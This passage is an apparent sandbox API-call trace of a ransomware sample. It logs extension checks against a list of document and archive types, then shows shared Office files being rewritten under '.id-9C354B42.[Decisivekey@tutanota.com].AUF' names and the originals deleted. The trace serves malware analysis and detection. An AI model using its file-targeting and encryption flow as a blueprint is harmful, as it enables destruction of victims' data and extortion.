lpString2=".DLL") returned 1 [0215.937] lstrlenW (lpString=".bz2") returned 4 [0215.937] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0215.937] lstrlenW (lpString=".7z") returned 3 [0215.937] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0215.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0215.937] lstrlenW (lpString=".dbf") returned 4 [0215.937] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0215.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0215.938] lstrlenW (lpString=".1cd") returned 4 [0215.938] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0215.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0215.938] lstrlenW (lpString=".jpg") returned 4 [0215.938] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0215.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0215.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0215.938] lstrlenW (lpString=".doc") returned 4 [0215.938] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0215.938] lstrlenW (lpString=".docx") returned 5 [0215.938] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0215.938] lstrlenW (lpString=".pdf") returned 4 [0215.938] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0215.938] lstrlenW (lpString=".xls") returned 4 [0215.938] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0215.938] lstrlenW (lpString=".xlsx") returned 5 [0215.938] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0215.938] lstrlenW (lpString=".ppt") returned 4 [0215.938] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0215.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0215.938] lstrlenW (lpString=".zip") returned 4 [0215.938] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0215.938] lstrlenW (lpString=".rar") returned 4 [0215.938] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0215.938] lstrlenW (lpString=".bz2") returned 4 [0215.938] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0215.938] lstrlenW (lpString=".7z") returned 3 [0215.938] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0215.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0215.938] lstrlenW (lpString=".dbf") returned 4 [0215.938] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0215.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0215.938] lstrlenW (lpString=".1cd") returned 4 [0215.938] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0215.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0215.938] lstrlenW (lpString=".jpg") returned 4 [0215.938] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0215.938] lstrcmpiW (lpString1=".EXE", lpString2=".AUF") returned 1 [0215.938] lstrlenW (lpString="DW20.EXE") returned 8 [0215.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0217.200] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=994184) returned 1 [0217.200] CloseHandle (hObject=0x194) returned 1 [0217.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe")) returned 0x20 [0217.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.200] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0217.200] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0217.200] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0217.200] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0217.201] GetLastError () returned 0x0 [0217.201] ReadFile (in: hFile=0x194, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0xf2b88, lpOverlapped=0x0) returned 1 [0217.355] WriteFile (in: hFile=0x210, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xf2b90, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xf2b90, lpOverlapped=0x0) returned 1 [0217.367] ReadFile (in: hFile=0x194, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x0, lpOverlapped=0x0) returned 1 [0217.367] WriteFile (in: hFile=0x210, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0217.367] SetEndOfFile (hFile=0x210) returned 1 [0217.387] CloseHandle (hObject=0x210) returned 1 [0217.387] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0217.387] SetEndOfFile (hFile=0x194) returned 1 [0217.394] CloseHandle (hObject=0x194) returned 1 [0217.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.394] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe")) returned 1 [0217.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0217.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0217.582] lstrlenW (lpString=".doc") returned 4 [0217.582] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0217.582] lstrlenW (lpString=".docx") returned 5 [0217.582] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0217.582] lstrlenW (lpString=".pdf") returned 4 [0217.582] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0217.582] lstrlenW (lpString=".xls") returned 4 [0217.582] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0217.582] lstrlenW (lpString=".xlsx") returned 5 [0217.582] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0217.582] lstrlenW (lpString=".ppt") returned 4 [0217.582] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0217.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0217.582] lstrlenW (lpString=".zip") returned 4 [0217.582] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0217.582] lstrlenW (lpString=".rar") returned 4 [0217.582] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0217.582] lstrlenW (lpString=".bz2") returned 4 [0217.582] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0217.582] lstrlenW (lpString=".7z") returned 3 [0217.582] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0217.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0217.582] lstrlenW (lpString=".dbf") returned 4 [0217.582] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0217.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0217.582] lstrlenW (lpString=".1cd") returned 4 [0217.582] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0217.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0217.582] lstrlenW (lpString=".jpg") returned 4 [0217.582] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0217.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0217.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0217.583] lstrlenW (lpString=".doc") returned 4 [0217.583] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0217.583] lstrlenW (lpString=".docx") returned 5 [0217.583] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0217.583] lstrlenW (lpString=".pdf") returned 4 [0217.583] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0217.583] lstrlenW (lpString=".xls") returned 4 [0217.583] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0217.583] lstrlenW (lpString=".xlsx") returned 5 [0217.583] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0217.583] lstrlenW (lpString=".ppt") returned 4 [0217.583] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0217.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0217.583] lstrlenW (lpString=".zip") returned 4 [0217.583] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0217.583] lstrlenW (lpString=".rar") returned 4 [0217.583] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0217.583] lstrlenW (lpString=".bz2") returned 4 [0217.583] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0217.583] lstrlenW (lpString=".7z") returned 3 [0217.583] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0217.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0217.583] lstrlenW (lpString=".dbf") returned 4 [0217.583] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0217.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0217.583] lstrlenW (lpString=".1cd") returned 4 [0217.583] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0217.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0217.583] lstrlenW (lpString=".jpg") returned 4 [0217.583] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0217.583] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0217.583] lstrlenW (lpString="VISFILT.DLL") returned 11 [0217.583] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0217.892] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=2124664) returned 1 [0217.892] CloseHandle (hObject=0x1e0) returned 1 [0217.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll")) returned 0x20 [0217.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.908] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0217.909] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0217.909] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc6c | out: lpNewFilePointer=0x0) returned 1 [0217.909] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0217.909] ReadFile (in: hFile=0x1e0, lpBuffer=0x36f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x36f0058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0217.929] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xace7d, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0217.929] ReadFile (in: hFile=0x1e0, lpBuffer=0x3730058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x3730058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0217.957] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2bdfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0217.957] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x1c6b78, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0217.957] ReadFile (in: hFile=0x1e0, lpBuffer=0x3770058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x3770058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0217.978] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0217.978] WriteFile (in: hFile=0x1e0, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2bdfcb0, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0217.987] SetEndOfFile (hFile=0x1e0) returned 1 [0217.989] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0217.989] WriteFile (in: hFile=0x1e0, lpBuffer=0x4330048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4330048*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0217.996] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xace7d, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0217.996] WriteFile (in: hFile=0x1e0, lpBuffer=0x4330048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4330048*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0217.997] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x1c6b78, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0217.997] WriteFile (in: hFile=0x1e0, lpBuffer=0x4330048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4330048*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0217.998] CloseHandle (hObject=0x1e0) returned 1 [0217.999] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0217.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0217.999] lstrlenW (lpString=".doc") returned 4 [0217.999] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0217.999] lstrlenW (lpString=".docx") returned 5 [0217.999] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0217.999] lstrlenW (lpString=".pdf") returned 4 [0217.999] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0217.999] lstrlenW (lpString=".xls") returned 4 [0217.999] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0217.999] lstrlenW (lpString=".xlsx") returned 5 [0217.999] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0217.999] lstrlenW (lpString=".ppt") returned 4 [0217.999] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0217.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0217.999] lstrlenW (lpString=".zip") returned 4 [0217.999] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0217.999] lstrlenW (lpString=".rar") returned 4 [0217.999] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0217.999] lstrlenW (lpString=".bz2") returned 4 [0217.999] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0217.999] lstrlenW (lpString=".7z") returned 3 [0217.999] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0217.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0217.999] lstrlenW (lpString=".dbf") returned 4 [0217.999] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0217.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0217.999] lstrlenW (lpString=".1cd") returned 4 [0217.999] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0217.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0217.999] lstrlenW (lpString=".jpg") returned 4 [0217.999] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0218.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0218.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0218.000] lstrlenW (lpString=".doc") returned 4 [0218.000] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0218.000] lstrlenW (lpString=".docx") returned 5 [0218.000] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0218.000] lstrlenW (lpString=".pdf") returned 4 [0218.000] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0218.000] lstrlenW (lpString=".xls") returned 4 [0218.000] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0218.000] lstrlenW (lpString=".xlsx") returned 5 [0218.000] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0218.000] lstrlenW (lpString=".ppt") returned 4 [0218.000] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0218.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0218.000] lstrlenW (lpString=".zip") returned 4 [0218.000] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0218.000] lstrlenW (lpString=".rar") returned 4 [0218.000] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0218.000] lstrlenW (lpString=".bz2") returned 4 [0218.000] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0218.000] lstrlenW (lpString=".7z") returned 3 [0218.000] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0218.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0218.000] lstrlenW (lpString=".dbf") returned 4 [0218.000] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0218.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0218.000] lstrlenW (lpString=".1cd") returned 4 [0218.000] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0218.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0218.000] lstrlenW (lpString=".jpg") returned 4 [0218.000] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0218.000] lstrcmpiW (lpString1=".FLT", lpString2=".AUF") returned 1 [0218.000] lstrlenW (lpString="GIFIMP32.FLT") returned 12 [0218.000] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0218.005] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=320384) returned 1 [0218.005] CloseHandle (hObject=0x184) returned 1 [0218.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt")) returned 0x20 [0218.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0218.005] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.005] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0218.006] GetLastError () returned 0x0 [0218.006] ReadFile (in: hFile=0x184, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x4e380, lpOverlapped=0x0) returned 1 [0218.020] WriteFile (in: hFile=0x1e0, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0x4e390, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0x4e390, lpOverlapped=0x0) returned 1 [0218.025] ReadFile (in: hFile=0x184, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x0, lpOverlapped=0x0) returned 1 [0218.025] WriteFile (in: hFile=0x1e0, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.025] SetEndOfFile (hFile=0x1e0) returned 1 [0218.025] CloseHandle (hObject=0x1e0) returned 1 [0218.025] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.025] SetEndOfFile (hFile=0x184) returned 1 [0218.028] CloseHandle (hObject=0x184) returned 1 [0218.028] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.028] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt")) returned 1 [0218.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0218.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0218.029] lstrlenW (lpString=".doc") returned 4 [0218.029] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0218.029] lstrlenW (lpString=".docx") returned 5 [0218.029] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0218.029] lstrlenW (lpString=".pdf") returned 4 [0218.029] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0218.029] lstrlenW (lpString=".xls") returned 4 [0218.029] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0218.029] lstrlenW (lpString=".xlsx") returned 5 [0218.029] 